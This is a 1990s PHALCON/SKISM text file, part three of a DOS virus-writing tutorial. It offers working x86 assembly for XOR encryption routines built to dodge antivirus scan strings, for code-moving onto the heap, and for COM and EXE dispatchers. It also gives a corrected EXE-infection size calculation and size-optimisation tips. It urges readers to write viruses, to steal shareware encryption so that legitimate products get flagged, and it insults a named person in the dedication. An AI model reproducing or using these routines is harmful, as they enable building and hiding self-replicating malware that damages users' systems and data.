443 lines
20 KiB
Plaintext
443 lines
20 KiB
Plaintext
//==// // // /|| // //==== //==// //| //
|
|
// // // // //|| // // // // //|| //
|
|
//==// //==// //=|| // // // // // || //
|
|
// // // // || // // // // // ||//
|
|
// // // // || //==== //==== //==// // ||/
|
|
|
|
/==== // // // /==== /| /|
|
|
// // // // // //| //|
|
|
===\ // // // ===\ //|| //||
|
|
// // \\ // // // ||// ||
|
|
====/ // \\ // ====/ // ||/ ||
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
DISCLAIMER: I hereby claim to have written this
|
|
file.
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
DEDICATION: This is dedicated to Patty Hoffman,
|
|
that fat bitch who doesn't know her own name,
|
|
and to the millions of dumb fools who were so
|
|
scared by Michelangelo that they didn't touch
|
|
their computers for an entire day.
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
GREETS: to all PHALCON/SKISM members especially
|
|
Garbageheap, Hellraiser, and Demogorgon.
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
Dark Angel's Crunchy Virus Writing Guide
|
|
ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
|
|
"It's the right thing to do"
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
INSTALLMENT III: NONRESIDENT VIRII, PART II
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
|
|
Welcome to the third installment of my Virus Writing Guide. In the
|
|
previous installment, I covered the primary part of the virus - the
|
|
replicator. As promised, I shall now cover the rest of the nonresident
|
|
virus and present code which, when combined with code from the previous
|
|
installment, will be sufficient to allow anyone to write a simple virus.
|
|
Additionally, I will present a few easy tricks and tips which can help
|
|
optimise your code.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
THE CONCEALER
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
The concealer is the most common defense virus writers use to avoid
|
|
detection of virii. The most common encryption/decryption routine by far
|
|
is the XOR, since it may be used for both encryption and decryption.
|
|
|
|
encrypt_val dw ? ; Should be somewhere in decrypted area
|
|
|
|
decrypt:
|
|
encrypt:
|
|
mov dx, word ptr [bp+encrypt_val]
|
|
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
|
|
lea si, [bp+part_to_encrypt_start]
|
|
mov di, si
|
|
|
|
xor_loop:
|
|
lodsw
|
|
xor ax, dx
|
|
stosw
|
|
loop xor_loop
|
|
|
|
The previous routine uses a simple XOR routine to encrypt or decrypt code
|
|
in memory. This is essentially the same routine as the one in the first
|
|
installment, except it encrypts words rather than bytes. It therefore has
|
|
65,535 mutations as opposed to 255 and is also twice as fast. While this
|
|
routine is simple to understand, it leaves much to be desired as it is
|
|
large and therefore is almost begging to be a scan string. A better method
|
|
follows:
|
|
|
|
encrypt_val dw ?
|
|
|
|
decrypt:
|
|
encrypt:
|
|
mov dx, word ptr [bp+encrypt_val]
|
|
lea bx, [bp+part_to_encrypt_start]
|
|
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
|
|
|
|
xor_loop:
|
|
xor word ptr [bx], dx
|
|
add bx, 2
|
|
loop xor_loop
|
|
|
|
Although this code is much shorter, it is possible to further reduce its
|
|
size. The best method is to insert the values for the encryption value,
|
|
BX, and CX, in at infection-time.
|
|
|
|
decrypt:
|
|
encrypt:
|
|
mov bx, 0FFFFh
|
|
mov cx, 0FFFFh
|
|
|
|
xor_loop:
|
|
xor word ptr [bx], 0FFFFh
|
|
add bx, 2
|
|
loop xor_loop
|
|
|
|
All the values denoted by 0FFFFh may be changed upon infection to values
|
|
appropriate for the infected file. For example, BX should be loaded with
|
|
the offset of part_to_encrypt_start relative to the start of the infected
|
|
file when the encryption routine is written to the infected file.
|
|
|
|
The primary advantage of the code used above is the minimisation of scan
|
|
code length. The scan code can only consist of those portions of the code
|
|
which remain constant. In this case, there are only three or four
|
|
consecutive bytes which remain constant. Since the entire encryption
|
|
consist of only about a dozen bytes, the size of the scan code is extremely
|
|
tiny.
|
|
|
|
Although the function of the encryption routine is clear, perhaps the
|
|
initial encryption value and calculation of subsequent values is not as
|
|
lucid. The initial value for most XOR encryptions should be 0. You should
|
|
change the encryption value during the infection process. A random
|
|
encryption value is desired. The simplest method of obtaining a random
|
|
number is to consult to internal clock. A random number may be easily
|
|
obtained with a simple:
|
|
|
|
mov ah, 2Ch ; Get me a random number.
|
|
int 21h
|
|
mov word ptr [bp+encrypt_val], dx ; Can also use CX
|
|
|
|
Some encryption functions do not facilitate an initial value of 0. For an
|
|
example, take a look at Whale. It uses the value of the previous word as
|
|
an encryption value. In these cases, simply use a JMP to skip past the
|
|
decryption routine when coding the virus. However, make sure infections
|
|
JMP to the right location! For example, this is how you would code such a
|
|
virus:
|
|
|
|
org 100h
|
|
|
|
start:
|
|
jmp past_encryption
|
|
|
|
; Insert your encryption routine here
|
|
|
|
past_encryption:
|
|
|
|
The encryption routine is the ONLY part of the virus which needs to be
|
|
unencrypted. Through code-moving techniques, it is possible to copy the
|
|
infection mechanism to the heap (memory location past the end of the file
|
|
and before the stack). All that is required is a few MOVSW instructions
|
|
and one JMP. First the encryption routine must be copied, then the
|
|
writing, then the decryption, then the RETurn back to the program. For
|
|
example:
|
|
|
|
lea si, [bp+encryption_routine]
|
|
lea di, [bp+heap]
|
|
mov cx, encryption_routine_size
|
|
push si
|
|
push cx
|
|
rep movsb
|
|
|
|
lea si, [bp+writing_routine]
|
|
mov cx, writing_routine_size
|
|
rep movsb
|
|
|
|
pop cx
|
|
pop si
|
|
rep movsb
|
|
|
|
mov al, 0C3h ; Tack on a near return
|
|
stosb
|
|
|
|
call [bp+heap]
|
|
|
|
Although most virii, for simplicity's sake, use the same routine for both
|
|
encryption and decryption, the above code shows this is completely
|
|
unnecessary. The only modification of the above code for inclusion of a
|
|
separate decryption routine is to take out the PUSHes and replace the POPs
|
|
with the appropriate LEA si and MOV cx.
|
|
|
|
Original encryption routines, while interesting, might not be the best.
|
|
Stolen encryption routines are the best, especially those stolen from
|
|
encrypted shareware programs! Sydex is notorious for using encryption in
|
|
their shareware programs. Take a look at a shareware program's puny
|
|
encryption and feel free to copy it into your own. Hopefully, the anti-
|
|
viral developers will create a scan string which will detect infection by
|
|
your virus in shareware products simply because the encryption is the same.
|
|
|
|
Note that this is not a full treatment of concealment routines. A full
|
|
text file could be written on encryption/decryption techniques alone. This
|
|
is only the simplest of all possible encryption techniques and there are
|
|
far more concealment techniques available. However, for the beginner, it
|
|
should suffice.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
THE DISPATCHER
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
The dispatcher is the portion of the virus which restores control back to
|
|
the infected program. The dispatchers for EXE and COM files are,
|
|
naturally, different.
|
|
|
|
In COM files, you must restore the bytes which were overwritten by your
|
|
virus and then transfer control back to CS:100h, which is where all COM
|
|
files are initially loaded.
|
|
|
|
RestoreCOM:
|
|
mov di, 100h ; We are copying to the beginning
|
|
lea si, [bp+savebuffer] ; We are copying from our buffer
|
|
push di ; Save offset for return (100h)
|
|
movsw ; Mo efficient than mov cx, 3, movsb
|
|
movsb ; Alter to meet your needs
|
|
retn ; A JMP will also work
|
|
|
|
EXE files require simply the restoration of the stack segment/pointer and
|
|
the code segment/instruction pointer.
|
|
|
|
ExeReturn:
|
|
mov ax, es ; Start at PSP segment
|
|
add ax, 10h ; Skip the PSP
|
|
add word ptr cs:[bp+ExeWhereToJump+2], ax
|
|
cli
|
|
add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
|
|
mov ss, ax
|
|
mov sp, word ptr cs:[bp+StackSave]
|
|
sti
|
|
db 0eah ; JMP FAR PTR SEG:OFF
|
|
ExeWhereToJump:
|
|
dd 0
|
|
StackSave:
|
|
dd 0
|
|
|
|
ExeWhereToJump2 dd 0
|
|
StackSave2 dd 0
|
|
|
|
Upon infection, the initial CS:IP and SS:SP should be stored in
|
|
ExeWhereToJump2 and StackSave2, respectively. They should then be moved to
|
|
ExeWhereToJump and StackSave before restoration of the program. This
|
|
restoration may be easily accomplished with a series of MOVSW instructions.
|
|
|
|
Some like to clear all the registers prior to the JMP/RET, i.e. they issue
|
|
a bunch of XOR instructions. If you feel happy and wish to waste code
|
|
space, you are welcome to do this, but it is unnecessary in most instances.
|
|
|
|
ÄÄÄÄÄÄÄÄ
|
|
THE BOMB
|
|
ÄÄÄÄÄÄÄÄ
|
|
|
|
"The horror! The horror!"
|
|
- Joseph Conrad, The Heart of Darkness
|
|
|
|
What goes through the mind of a lowly computer user when a virus activates?
|
|
What terrors does the unsuspecting victim undergo as the computer suddenly
|
|
plays a Nazi tune? How awful it must be to lose thousands of man-hours of
|
|
work in an instant!
|
|
|
|
Actually, I do not support wanton destruction of data and disks by virii.
|
|
It serves no purpose and usually shows little imagination. For example,
|
|
the world-famous Michelangelo virus did nothing more than overwrite sectors
|
|
of the drive with data taken at random from memory. How original. Yawn.
|
|
Of course, if you are hell-bent on destruction, go ahead and destroy all
|
|
you want, but just remember that this portion of the virus is usually the
|
|
only part seen by "end-users" and distinguishes it from others. The best
|
|
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
|
|
Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
|
|
in a plug for the group)!
|
|
|
|
As you can see, there's no code to speak of in this section. Since all
|
|
bombs should be original, there isn't much point of putting in the code for
|
|
one, now is there! Of course, some virii don't contain any bomb to speak
|
|
of. Generally speaking, only those under about 500 bytes lack bombs.
|
|
There is no advantage of not having a bomb other than size considerations.
|
|
|
|
ÄÄÄÄÄÄÄÄÄ
|
|
MEA CULPA
|
|
ÄÄÄÄÄÄÄÄÄ
|
|
I regret to inform you that the EXE infector presented in the last
|
|
installment was not quite perfect. I admit it. I made a mistake of
|
|
colossal proportions The calculation of the file size and file size mod
|
|
512 was screwed up. Here is the corrected version:
|
|
|
|
; On entry, DX:AX hold the NEW file size
|
|
|
|
push ax ; Save low word of filesize
|
|
mov cl, 9 ; 2^9 = 512
|
|
shr ax, cl ; / 512
|
|
ror dx, cl ; / 512 (sort of)
|
|
stc ; Check EXE header description
|
|
; for explanation of addition
|
|
adc dx, ax ; of 1 to the DIV 512 portion
|
|
pop ax ; Restore low word of filesize
|
|
and ah, 1 ; MOD 512
|
|
|
|
This results in the file size / 512 + 1 in DX and the file size modulo 512
|
|
in AX. The rest remains the same. Test your EXE infection routine with
|
|
Microsoft's LINK.EXE, since it won't run unless the EXE infection is
|
|
perfect.
|
|
|
|
I have saved you the trouble and smacked myself upside the head for this
|
|
dumb error.
|
|
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
TIPS AND TRICKS
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
So now all the parts of the nonresident virus have been covered. Yet I
|
|
find myself left with several more K to fill. So, I shall present several
|
|
simple techniques anyone can incorporate into virii to improve efficiency.
|
|
|
|
1. Use the heap
|
|
The heap is the memory area between the end of code and the bottom of
|
|
the stack. It can be conveniently treated as a data area by a virus.
|
|
By moving variables to the heap, the virus need not keep variables in
|
|
its code, thereby reducing its length. Note that since the contents
|
|
heap are not part of the virus, only temporary variables should be
|
|
kept there, i.e. the infection routine should not count the heap as
|
|
part of the virus as that would defeat the entire purpose of its use.
|
|
There are two ways of using the heap:
|
|
|
|
; First method
|
|
|
|
EndOfVirus:
|
|
Variable1 equ $
|
|
Variable2 equ Variable1 + LengthOfVariable1
|
|
Variable3 equ Variable2 + LengthOfVariable2
|
|
Variable4 equ Variable3 + LengthOfVariable3
|
|
|
|
; Example of first method
|
|
|
|
EndOfVirus:
|
|
StartingDirectory = $
|
|
TemporaryDTA = StartingDirectory + 64
|
|
FileSize = TemporaryDTA + 42
|
|
Flag = FileSize + 4
|
|
|
|
; Second method
|
|
|
|
EndOfVirus:
|
|
Variable1 db LengthOfVariable1 dup (?)
|
|
Variable2 db LengthOfVariable2 dup (?)
|
|
Variable3 db LengthOfVariable3 dup (?)
|
|
Variable4 db LengthOfVariable4 dup (?)
|
|
|
|
; Example of second method
|
|
EndOfVirus:
|
|
StartingDirectory db 64 dup (?)
|
|
TemporaryDTA db 42 dup (?)
|
|
FileSize dd ?
|
|
Flag db ?
|
|
|
|
The two methods differ slightly. By using the first method, you
|
|
create a file which will be the exact length of the virus (plus
|
|
startup code). However, when referencing the variables, size
|
|
specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
|
|
be used or the assembler will become befuddled. Secondly, if the
|
|
variables need to be rearranged for some reason, the entire chain of
|
|
EQUates will be destroyed and must be rebuilt. Virii coded with
|
|
second method do not need size specifications, but the resulting file
|
|
will be larger than the actual size of the virus. While this is not
|
|
normally a problem, depending on the reinfection check, the virus may
|
|
infect the original file when run. This is not a big disability,
|
|
especially considering the advantages of this method.
|
|
|
|
In any case, the use of the heap can greatly lessen the effective
|
|
length of the virus code and thereby make it much more efficient. The
|
|
only thing to watch out for is infecting large COM files where the
|
|
heap will "wrap around" to offset 0 of the same segment, corrupting
|
|
the PSP. However, this problem is easily avoided. When considering
|
|
whether a COM file is too large to infect for this reason, simply add
|
|
the temporary variable area size to the virus size for the purposes of
|
|
the check.
|
|
|
|
2. Use procedures
|
|
Procedures are helpful in reducing the size of the virus, which is
|
|
always a desired goal. Only use procedures if they save space. To
|
|
determine the amount of bytes saved by the use of a procedure, use the
|
|
following formula:
|
|
|
|
Let PS = the procedure size, in bytes
|
|
bytes saved = (PS - 4) * number invocations - PS
|
|
|
|
For example, the close file procedure,
|
|
|
|
close_file:
|
|
mov ah, 3eh ; 2 bytes
|
|
int 21h ; 2 bytes
|
|
ret ; 1 byte
|
|
; PS = 2+2+1 = 5
|
|
|
|
is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A
|
|
whopping savings of one (1) byte! Since no virus closes a file in six
|
|
different places, the close file procedure is clearly useless and
|
|
should be avoided.
|
|
|
|
Whenever possible, design the procedures to be as flexible as
|
|
possible. This is the chief reason why Bulgarian coding is so tight.
|
|
Just take a look at the source for Creeping Death. For example, the
|
|
move file pointer procedure:
|
|
|
|
go_eof:
|
|
mov al, 2
|
|
move_fp:
|
|
xor dx, dx
|
|
go_somewhere:
|
|
xor cx, cx
|
|
mov ah, 42h
|
|
int 21h
|
|
ret
|
|
|
|
The function was build with flexibility in mind. With a CALL to
|
|
go_eof, the procedure will move the file pointer to the end of the
|
|
file. A CALL to move_fp with AL set to 0, the file pointer will be
|
|
reset. A CALL to go_somewhere with DX and AL set, the file pointer
|
|
may be moved anywhere within the file. If the function is used
|
|
heavily, the savings could be enormous.
|
|
|
|
3. Use a good assembler and debugger
|
|
The best assembler I have encountered to date is Turbo Assembler. It
|
|
generates tight code extremely quickly. Use the /m2 option to
|
|
eliminate all placeholder NOPs from the code. The advantages are
|
|
obvious - faster development and smaller code.
|
|
|
|
The best debugger is also made by Borland, the king of development
|
|
tools. Turbo Debugger has so many features that you might just want
|
|
to buy it so you can read the manual! It can bypass many debugger
|
|
traps with ease and is ideal for testing. Additionally, this debugger
|
|
has 286 and 386 specific protected mode versions, each of which are
|
|
even more powerful than their real mode counterparts.
|
|
|
|
4. Don't use MOV instead of LEA
|
|
When writing your first virus, you may often forget to use LEA instead
|
|
of MOV when loading offsets. This is a serious mistake and is often
|
|
made by beginning virus coders. The harmful effects of such a
|
|
grevious error are immediately obvious. If the virus is not working,
|
|
check for this bug. It's almost as hard to catch as a NULL pointer
|
|
error in C.
|
|
|
|
5. Read the latest issues of 40Hex
|
|
40Hex, PHALCON/SKISM's official journal of virus techniques and news,
|
|
is a publication not to be missed by any self-respecting virus writer.
|
|
Each issue contains techniques and source code, designed to help all
|
|
virus writers, be they beginners or experts. Virus-related news is
|
|
also published. Get it, read it, love it, eat it!
|
|
|
|
ÄÄÄÄÄÄ
|
|
SO NOW
|
|
ÄÄÄÄÄÄ
|
|
you have all the code and information sufficient to write a viable virus,
|
|
as well as a wealth of techniques to use. So stop reading and start
|
|
writing! The only way to get better is through practise. After two or
|
|
three tries, you should be well on your way to writing good virii.
|